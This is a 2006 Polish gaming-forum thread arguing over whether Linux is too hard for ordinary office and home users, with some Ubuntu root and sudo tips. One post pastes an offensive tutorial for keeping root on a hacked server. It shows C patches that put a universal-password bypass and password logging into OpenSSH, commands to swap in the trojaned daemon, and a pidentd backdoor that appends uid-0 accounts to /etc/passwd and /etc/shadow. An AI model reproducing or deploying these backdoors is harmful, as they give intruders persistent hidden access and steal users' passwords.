administrator to tylko administratow. Nie nauczy on uzytkownikow korzystania ze skrotow klawiszowych, uzywania funkcji wstaw podzial strony w wordzie, poprawnego wylanczania komputera czy wciskania Insert jak word nadpisuje wpisany wczesniej tekst.
Administrator nie jest od uczenia - od tego jest dokumentacja, ew. kurs się przeprowadza, jak trzeba. Mi chodziło raczej o stworzenie środowiska pracy - można przy obecnych narzędziach zrobić podobny workspace do tego z Windowsa. Aczkolwiek z Twojego punktu widzenia jest to dość trudne - czyli biuro, gdzie komputer jest pomocnikiem, nie ma konkretnej narzędziowej aplikacji, wtedy rzeczywiście może być problem, bo nie sposób przewidzieć wszystkiego. Ale także i w okienkach w takiej pracy użytkownicy napotykają na problemy nie do przeskoczenia.

Oprócz urzędów są też firmy, gdzie na komputerach mamy aplikacje, realizujące konkretne procesy biznesowe. Tutaj jest łatwiej zautomatyzować pewne czynności, a funkcjonalność oraz ergonomia może być identyczna z wersją windowsową. To tylko kwestia przyjętej strategii.

Cytat:
Napisał BrYK
Wprowadzenie windowsa XP prof (u mnie w firmie na wiekszosc sprzetu), ustalenie domen i zasad, przydzielenie uprawnien, wymagania zlozonosci hasel i podstawowych zasad bezpieczenstwa - zablokowalo niektore wydzialy na 1-2 dni. Bo pani Kasia i pani Jadzia nie umialy 10 znakowego hasla wpisac.
Takie problemy pojawiają się i tu i tu, niezależnie od OS. Problem może być wtedy, kiedy ktoś ma w domu komputer z windowsem i jest przyzwyczajony do konkretnych zachowań.
__________________
Piter jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 21:39   #24
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
Postaraj sie zrozumiec, ze nie kazdy musi chciec uczyc sie nowego systemu.
Cytat:
Koshi ale ty nadal nie rozumiesz o co w tym wszystkim biega. To , ze ty masz zaciecie do poznawania nowych rzeczy / doświadczen to nie znaczy , ze cały swiat to twoje kserokopie.
Dobrze SZEFY ale w żadnym ze swoich postów nie umieściłem obwieszczenia typu : OD jutra z racji ze ja znam LINUCHA wszyscy muszą takze umieć sie nim posługiwać doskonale.

Ja wszystko rozumiem doskonale. Widzisz ja znam lepiej od ciebie linuxa a ty lepiej grasz ode mnie w AA i wszystko jasne.



BTW
Cytat:
A na powaznie - przepraszam za swoje zachowanie i uzywanie nieprzystajacego do funkcji slownictwa.
A, które to niby słownictwo
koshi jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 21:42   #25
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

No ale o to chodzi własnie w tym temacie Patrz gdzie umieszczasz swoje wypowiedzi
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 23:40   #26
={GF}=Sammael_
Major
 
Zarejestrowany: 18 May 2003
Wiadomości: 305
Wyślij wiadomość przez ICQ do ={GF}=Sammael_ Wyślij wiadomość przez AIM do ={GF}=Sammael_ Wyślij wiadomość przez MSN do ={GF}=Sammael_
Domyślnie

Strach się bać tego tematu.
Bryk jeździ po wszystkich, wmawiając, że wszyscy są głupi; Inni znając parę komend twierdzą, że są gosu, a reszta patrzy z boku i delikatnie wtrąca swoje zdanie.

Fakt jest faktem - jeśli ktoś nie chce się nauczyć obsługi linuksa, nie ma zacięcia to nie ma szans żeby się nauczył. W mojej opinii jest to system dla ludzi myślących inaczej niż typowy użytkowni windowsa, chodzących innymi niż wytyczonymi przez instalatory i kreatory ścieżkami. Muszę się niestety zgodzić z tym, że jest to trudny system jeśli człowiek jest przyzwyczajony od zawsze do windowsa, wiele rzeczy jest niezrozumiałych i nielogicznych a mnogość możliwości w konfiguracji może niektórych doprowadzić do szału.
Musicie pamiętać, że linuks jako system byłby o wiele przyjaźniejszy gdyby wielkie korporacje tworzące oprogramowanie, co ważniejsze - sterowniki! zdecydowały się na pełne wsparcie tego systemu. Niestety tak się nie stanie bo:
-zbyt mało ludzi korzysta z linuksa
-więc rozwijanie całego zespołu programistów linuksowych nie jest opłacalne,
-skoro nie jest opłacalne wsparcie jest marne,
-marne wsparcie, powoduje zmniejszenie zakresu używalności linuksa (np. problemy z WiFi),
-a takie problemy przekładają się na mniejszą popularność systemu, w efekcie zbyt mało ludzi korzysta z linuksa i błędne koło marketingu się zamyka pozostawiając (jednak) coraz większą grupę pasjonatów tego systemu na lodzie.

Tak na zakończenie zapytam, Koshi co Ty w tym linuksie robisz, że wszystko wiesz? jesteś w grupie developerów jądra? czy po prostu znasz pare komend? Ja osobiście wiem, że nic nie wiem (wspominając słowa dawnego filozofa) w porównaniu z tym co można wiedzieć o linuksie.

Sammael, pro-noob
__________________
Guerrilla Fighters - Americas Army Clan since Feb.03
={GF}=Sammael_ Clan Leader.
={GF}=Sammael_ jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 23:53   #27
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

http://www.ubuntu.pl/art2.html

ciekawy artykuł
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 08:22   #28
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

Dobra koshi to powiedz nam w końcu jak się stawia tego ROOTa, bo umieramy z ciekawości
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 08:56   #29
JiHAD^
General
 
Zarejestrowany: 10 Feb 2005
Miasto: Mushroom Kingdom
Wiadomości: 772
Wyślij wiadomość przez AIM do JiHAD^
Domyślnie

Problem z Linuksem twki u podstaw edukacji, gdyby w gimnazjach na informatyce dzieciaki uzywały by Linuksów równolegle z Windowsami nie było by problemów z późniejszych przechodzeniem na ten system. Niby wszyscy chca przerwac monopol Microsoftu, ale jeśli państwo wspiera monopoliste. I nie ważne co BrYK pisze, ale ja i tak twierdze ze to nie jest trudne tylko inne i tsza sie przyzwyczaić.
__________________
-> Goomba.pl społeczność graczy Nintendo Wii U, 3DS i retro.
JiHAD^ jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 11:46   #30
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
Dobra koshi to powiedz nam w końcu jak się stawia tego ROOTa, bo umieramy z ciekawości
Muszę przeszukać w domu płytki z FAQami o hackingu bo tam gdzies jest to opisane ale jak znajde to wkleje. A jak nie chce ci sie czekac to użyj Google bo to nie boli.

EDIT -----------------------------------------------------------------------------

Tam mi sie troche pomyliło bo nie miało byc stawianie roota tylko wbijanie sie przez roota:

After Hack

---=[ Wstęp ]
No to mamy root'a na jakimś bajecznym hoście... i co dalej? Teraz mamy do wyboru, albo rozwalenie go (podmiana strony, destrukcja w dosłownym tego słowa znaczeniu etc.), albo, co jest bardziej rozważne, zostawienie sobie na nim uprawnienia root'a - na "zawsze". Jednak, aby tego dokonać nie wystarczy zwykły wpis do /etc/inetd.conf lub coś takiego, my potrzebujemy czegoś, czego zwykły admin nie zdoła zobaczyć przez dłuuugi czas.

---=[ Openssh backdoor ]
Zostawienie backdoora na daemonie ssh (tu openssh), to nie tylko możliwość powrotu na uprzednio zaatakowany host bezpośrednio na konto root'a, ale też możliwość przechwytywania hasełek, które niekiedy są takie same na paru hostach administrowanych przez tego admina, może też się zdążyć, że useria ma takie same hasła na różnych hostach.

Przystępujemy więc do pisania backdoora. Będziemy potrzebowali źródeł openssh, więc zaciągamy np. z sunsite'a wersję, jaka nas interesuje (czyt. jaka jest na serwerze). Stawiamy sobie pytanko: "Co ma robić nasz backdoor?".

...a więc może:
* wpuszczać nas na wszystkie konta za pomocą uniwersalnego hasła,
* logować wszystkie hasła, które są wprowadzane podczas logowania do systemu przez ssh,
* logować wszystkie hasła podczas korzystania z klienta ssh,
* i oczywiście nie logować do lastloga, wtmp, utmp itp., że jesteśmy połączeni (netstat będzie wyświetlał nasze połączenie i ps nasze procesy, ale nie będzie nas w users itp.).

Potem zostaje kwestia decyzji, co ma się dziać z hasłami, a mianowicie mogą być one zapisywane do jakiegoś pliku na serwerze, mogą również być wysyłane mailem na jakieś konto, lub (to pomysł genialnego cliph'a) mogą być wysyłane protokołem ICMP - ta metoda jest praktycznie nie do wykrycia.

Przystępujemy do edycji plików:

Szybko dochodzimy do tego, że najlepiej jest dopisać się do plików: auth1.c i auth2.c, gdyż to one odpowiadają za proces sprawdzania hasełka.

Z pliku auth1.c:

case SSH_CMSG_AUTH_PASSWORD:
if (!options.password_authentication) {
verbose("Password authentication disabled.");
break;
}
/*
* Read user password. It is in plain text, but was
* transmitted over the encrypted channel so it is
* not visible to an outside observer.
*/
password = packet_get_string(&dlen);
#ifdef USE_PAM
/* do PAM auth with password */
authenticated = auth_pam_password(pw, password);

...zmienna authenticated odpowiada za to, czy jesteśmy zaautoryzowani, czy też nie i przyjmuje wartości 1 lub 0 (tak lub nie).

Tutaj dopisujemy nasz kawałek kodu (nie dokładnie tutaj, ale przed wyzerowaniem hasła):

if (strcmp(password,"tajne_hasło")==0) {
authenticated=1;
}

No to mamy załatwiony protokół pierwszy ssh, jak łatwo się domyślić, password zawiera hasło wprowadzone przez użytkownika. Wystarczy więc tylko wprowadzenie odpowiedniej lini (fopen, popen, socket), wedle uznania, i mamy hasełka (nazwa użytkownika jest przechowywana w strukturze authctxt w zmiennej user (authctxt->user).

Czas na protokół ssh2, czyli plik auth2.c:

password = packet_get_string(&len);
packet_done();
if (authctxt->valid &&
#ifdef HAVE_CYGWIN
check_nt_auth(1, authctxt->pw->pw_uid) &&
#endif
#ifdef USE_PAM
auth_pam_password(authctxt->pw, password) == 1)
#elif defined(HAVE_OSF_SIA)
auth_sia_password(authctxt->user, password) == 1)
#else /* !USE_PAM && !HAVE_OSF_SIA */
auth_password(authctxt, password) == 1)
#endif /* USE_PAM */
authenticated = 1;

...i znowu ta sama sytuacja... informacja o tym, czy jesteśmy godnymi shella userami ląduje w zmiennej authenticated. Dopisujemy tą samą linijkę.

if (strcmp(password,"tajne_hasło")==0) {
authenticated=1;
}

Podobnie jest z hasełkami. Jeżeli chodzi o logowanie, to wszystko jest podobnie banalne, jak dodanie hasła uniwersalnego.

I teraz, jak wszystko zrobiliśmy, kompilujemy naszego backdoora. Zakładamy, że mamy taką samą platformę sprzętową. Jeżeli atakowany serwer "stoi" na RH, Mandrake, Debianie, to możemy pokusić się o zbudowanie pakietu.

I w końcu po zdobyciu wymarzonego root'a podmieniamy daemona ssh np. w RH (mamy pakiet).

rpm -e openssh-server openssh-clients
rpm -hiv sshs.rpm sshc.rpm

...i następnie restartujemy sshd. Należy pamiętać o tym, aby zrestartować go np. przy pomocy screen'a lub cron'a. Restartując sshd i będąc zalogowanym do systemu przez ssh, w momencie zamykania sshd zostaniemy rozłączeni i "sshd start" nie zostanie odpalone.

Inne wersje openssh nie powinny się różnić zasadniczo w budowie tych plików.

All!

---=[ Download ]
Gotowe backdoory z logowaniem hasełek do /var/tmp/xwqtmp1, nie zapisywaniem do utmp, wtmp i lastloga, hasłem uniwersalnym, dostępne są na pewna stronka ale jej nie podam

---=[ pidentd backdoor ]
Serwer ssh może zostać przez admina upgradeowany i stracimy naszego ukochanego backdoorka, nad którym przesiedzieliśmy pół nocy. żeby do tego nie dopuścić, należałoby postawić coś innego, tak na wszelki wypadek, i najlepiej na daemonie, który nie jest tak często upgradeowany. Myślę, że pidentd jest dobry na to. Niestety nie będziemy mogli logować sobie hasełek (jak to może mieć miejsce w openssh), ale root'a dostaniemy. Sposobów na dostanie się do systemu jest wiele. Można wystawić sobie shella, na porcie 113, jeżeli podamy jakieś charakterystyczne wartości dla portów. Ja proponuje, aby nasz backdoor dopisywał dwie linijki do /etc/passwd. Jedną z userem o uid/gid 0, drugą z userem o normalnym uid/gid np. 666 (tak na wszelki wypadek, gdyby w konfiguracji ssh było zablokowane logowanie się na konto roota).

Przystępujemy więc do edycji naszych plików. Po krótkim przejrzeniu źródeł spostrzegamy, że wszystko "odbywa się" w plikach request.c i main.c (pidentd-3.0.12-4 z RH 7.1).

Z pliku request.c:

if (sscanf(buf, " %d , %d", &local_port, &remote_port) == 2)
{
if (local_port < 1 || local_port > 65535 ||
remote_port < 1 || remote_port > 65535)
{
send_error(fd,
local_port, remote_port,
"INVALID-PORT",
remote_addr);
return 0;
}

...ha, czyli pobieramy z wejścia porty i sprawdzamy, czy port nie jest za mały i nie za duży To jest najlepsze miejsce na dopisanie naszego kawałka kodu.

if (local_port == 1 && remote_port == 1)
{
seteuid(0); //teoretycznie nie jest to potrzebne

system("echo "hacker:0:0::/tmp:/bin/sh" >> /etc/passwd;
echo "hacker:LM8tqHZNMCrXo:11629:0:99999::" >> /etc/shadow");

system("echo "hacker2:666:666::/tmp:/bin/sh" >> /etc/passwd;
echo "hacker2:LM8tqHZNMCrXo:11629:0:99999::" >> /etc/shadow");

seteuid(server_uid); //to też teoretycznie nie jest potrzebne
}

...czyli, jak podamy, łącząc się z identem, na tym hoście port zdalny 1 i lokalny 1, to zostanie dopisany user hacker z naszym hasłem ("hxpro74").

Niestety, to nie wszystko, ponieważ w pliku main.c jest funkcja drop_root_priv();, w której to są takie linijki:

setgid(server_gid);
...
setuid(server_uid);

Więc jak wiadomo, setuid/gid zmienia uida/gida na server_uid/gid (jest to zazwyczaj uid/gid ident), a jak zmienimy real uida, to już na root'a nie da się powrócić, więc musimy i w tym pliku wprowadzić pewne zmiany, a mianowicie zmieniamy funkcje setuid/gid na seteuid/gid. Te funkcje zmieniają tzw. efektywny uid/gid nie zmieniając real uid/gid, więc w liście procesów, właścicielem identa będzie ident, ale będzie on mógł dopisać nasze linijki do /etc/passwd i /etc/shadow, gdyż jego real uid/gid będzie równy 0.

Kopulujemy i znowu, jak mamy ochotę i możliwości, to robimy pakiet, lub nie ...i podmieniamy. Pamiętamy o przeresetowaniu daemona

Inne wersje tego daemona mają podobną, jak nie taką samą, strukturę, więc nie powinno być problemu z napisaniem tego właśnie dla innej wersji.

All!
koshi jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 12:05   #31
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

No i to ma pojac zwykly zjadacz chleba OMG

JHS znowu sie mi tu wywyzszasz Powtarzam uzytkonik windy znacznie rozni sie od linuksowego, on nie chce poznawac systemu tylko na nim pracowac ma zapamietac podstawowe funkcje i robic swoje . A zycie z linuksem polega własnie na poznaniu wpierw systemu bo inaczej dupa blada.

Przypomne moje pierwsze podejscie do windy :

intalacja - konfiguracja za raczke - odpalenie - start - instalacja gry - granie

juz to widze na linuchu
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 12:07   #32
-pavel+
General
 
Zarejestrowany: 19 Mar 2004
Wiadomości: 1623
Wyślij wiadomość przez AIM do -pavel+
Domyślnie

ale z ciebie pro hakier
__________________

-pavel+ jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 12:30   #33
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

Wie ktoś może co to znaczy "postawić ROOTa"? ^^
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 12:50   #34
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
isntalacja - konfiguracja za raczke - odpalenie - start - instalacja gry - granie

juz to widze na linuchu
Na pierwszy rzut oka to też mi sie tak wydawało przy instalowaniu linuxa, ale jedyną rzeczą jaka jest inna niz przy instalacji WINDY to to, że nalezy wydzielic dodatkowe miejsce na instalke a i potem podczas uruchamiania kompa, że włacza sie GRUB, no i komendy terminala są troche takie
koshi jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 12:56   #35
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

Cytat:
Napisał koshi
ale jedyną rzeczą jaka jest inna niz przy instalacji WINDY to to, że nalezy wydzielic dodatkowe miejsce na instalke a i potem podczas uruchamiania kompa, że włacza sie GRUB, no i komendy terminala są troche takie
No i o to tu chodzi. Ty sobie z tym poradzisz , ale innym sie nie chce / nie potrafia / nie maja do tego smykałki . Linux , nie dla idiotów , mozna by rzec
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 13:39   #36
klopsik_PL
General
 
Zarejestrowany: 28 Aug 2003
Wiadomości: 1343
Wyślij wiadomość przez MSN do klopsik_PL
Domyślnie

Cytat:
Napisał Catra

No i o to tu chodzi. Ty sobie z tym poradzisz , ale innym sie nie chce / nie potrafia / nie maja do tego smykałki
albo maja w dupie komplikowanie sobie zycia
__________________
klopsik_PL jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 14:42   #37
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
albo maja w dupie komplikowanie sobie zycia
LOL

btw. Catra skad masz tąmorde co tak jezyk wywala bo ona kumata jest
koshi jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 15:50   #38
BrYK
Moderator
General
 
Zarejestrowany: 25 Jan 2004
Miasto: Łobez
Wiadomości: 7011
Wyślij wiadomość przez AIM do BrYK Wyślij wiadomość przez Yahoo do BrYK
Domyślnie

Cytat:
Napisał JHS:PL
Problem z Linuksem twki u podstaw edukacji, gdyby w gimnazjach na informatyce dzieciaki uzywały by Linuksów równolegle z Windowsami nie było by problemów z późniejszych przechodzeniem na ten system. Niby wszyscy chca przerwac monopol Microsoftu, ale jeśli państwo wspiera monopoliste. I nie ważne co BrYK pisze, ale ja i tak twierdze ze to nie jest trudne tylko inne i tsza sie przyzwyczaić.
Wychodzisz z blednego zalozenia. Zrozum, ze nie kazdy jest w stanie nauczyc sie obslugi komputera. Z roznych powodow.
W moim liceum poza dosem, windowsem 3.11 (potem win 95) byl jeszcze novel i linuks. Na 54 osob w 3 klasach, majace po 6 godzin informatyki w tygodniu, tylko 3 lub 4 dowiedzialy sie czegokolwiek na temat novela i linuksa. Wiekszosc nie potrafila zapamietac 32 podstawowych komend dosu (o zainstalowaniu CD w windzie - czyli wpisaniu linijki w config.sys i autoexec.bat - nie wspominajac; podobnie zreszta z uzywaniem pomocy). Polecialo kilkanscie pal i nauczyciele dali sobie spokój. Wlasnie dla takich ludzi jest windows. Linuks jest z zalozenia systemem do grzebania, konfiguracji.
Pewna analogia jest rynek aparatow fotograficznych. Wprowadzenie prosty aparatow (idiotenkamery) spowodowalo lawinowy wzrost sprzedazy aparatow i robionych zdjec. Obecnie wiekszosc posiadaczy aparatow cyfrowych nie ma pojecia o 95% ich potencjalu i mozliwych ustawien. A sa ludzie, ktorzy na auto zdjecia nie zrobia, bo zle wyjscie / wyjdzie inaczej / lubia sie bawic w ustawianie.
__________________
BrYK jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 21:57   #39
Kaos
General
 
Zarejestrowany: 17 Jan 2005
Wiadomości: 1227
Domyślnie

Cytat:
Napisał wyclef+brzoza
Wie ktoś może co to znaczy "postawić ROOTa"? ^^
w ubuntu root jest zablokowany, trzeba go postawić
ps: mój pulpit.. ^^
__________________
Kaos jest offline   Odpowiedz z Cytatem
Stare 04-07-2006, 22:04   #40
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
ps: mój pulpit.. ^^
LIpny taki stary i nie modny... Lipa
koshi jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 10:06   #41
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

Root zablokowany? Znaczy że trzeba hasło wpisać? LOL W dalszym ciągu nie rozumiem jak się go stawia
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 10:15   #42
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

jak se wpiszesz hasło to se go *postawisz kumasz
*( postawic = miec pełne uprawnienia = ADMIN )
koshi jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 11:04   #43
JiHAD^
General
 
Zarejestrowany: 10 Feb 2005
Miasto: Mushroom Kingdom
Wiadomości: 772
Wyślij wiadomość przez AIM do JiHAD^
Domyślnie

LoL co to na pulpicie? Linki do dysków?
__________________
-> Goomba.pl społeczność graczy Nintendo Wii U, 3DS i retro.
JiHAD^ jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 12:06   #44
Kaos
General
 
Zarejestrowany: 17 Jan 2005
Wiadomości: 1227
Domyślnie

Cytat:
Napisał wyclef+brzoza
Root zablokowany? Znaczy że trzeba hasło wpisać? LOL W dalszym ciągu nie rozumiem jak się go stawia
nie, tu chodzi o to że nie ma roota..nie da się zalogowac,nie masz hasła itp..
Jak chcesz roota to musisz go włączyć w panelu administracyjnym..

Co do pulpitu.. to nie chodziło mi o ikonki tylko o tapetkę
dla mało spostrzewgawczych - jest to znak ms na linuksie hehe
__________________
Kaos jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 12:17   #45
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

Cytat:
Napisał JHS:PL
LoL co to na pulpicie? Linki do dysków?
A co w tym smiesznego
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 14:00   #46
Kaos
General
 
Zarejestrowany: 17 Jan 2005
Wiadomości: 1227
Domyślnie

no to są zamontowane dyski.. z windy..

ps: pracuję nad lepszym wyglądem, bo ten co mam teraz to defaultowy jest
__________________
Kaos jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 15:47   #47
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

Cytat:
Napisał Kaos
Cytat:
Napisał wyclef+brzoza
Root zablokowany? Znaczy że trzeba hasło wpisać? LOL W dalszym ciągu nie rozumiem jak się go stawia
nie, tu chodzi o to że nie ma roota..nie da się zalogowac,nie masz hasła itp..
Jak chcesz roota to musisz go włączyć w panelu administracyjnym..
Widzisz, sęk w tym, że w Linuksie nie ma czegoś takiego jak panel administracyjny. Nawet zakładając, że wiem o co wam chodzi, to napewno nie ma czegoś jak stawianie roota. Tłumaczcie dalej, bo ciągle nie rozumiem

PS. I tacy ludzie twierdzą, że się Linuksa nauczyli i że każdy może
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 16:17   #48
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

http://easylinux.info/wiki/Ubuntu_pl LINUCH dla opornych ( zastrzegam ze chodzi tutaj o UBUNTU 5.10 Breezy Badger)

@1 Za to jest cos takiego jak : System -> Administracja -> Użytkownicy i grupy ( i tam dowolnie modyfikujesz sobie co chcesz jeśli chodzi o konta- dodajesz, usuwasz etc...)

@2 Jak przełączyć się na konto roota podczas pracy w konsoli?

sudo -s -H
Hasło: <wpisz swoje hasło>
koshi jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 16:19   #49
Kaos
General
 
Zarejestrowany: 17 Jan 2005
Wiadomości: 1227
Domyślnie

patrz http://forum.ubuntu.pl/viewtopic.php...i%B1zanie+root
__________________
Kaos jest offline   Odpowiedz z Cytatem
Stare 04-08-2006, 17:10   #50
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

^^ chłopaki ale ja nie mam Xów. Powiedzcie mi jak w konsoli debiana wejść na ten panel administracyjny

PS. O matko <młotkiem w głowę>
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Odpowiedz

Bookmarks


Użytkownicy aktualnie czytający ten wątek: 1 (0 użytkownik i 1 gości)
 
Narzędzia wątku

Zasady Pisania
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Włączony
UśmieszkiWłączony
[IMG] kod jest Włączony
HTML kod jest wyłączony

Skocz do forum


Czasy w strefie GMT. Teraz jest 01:23.
who's online
Copyright ©2002 - 2010 AmericasArmy.pl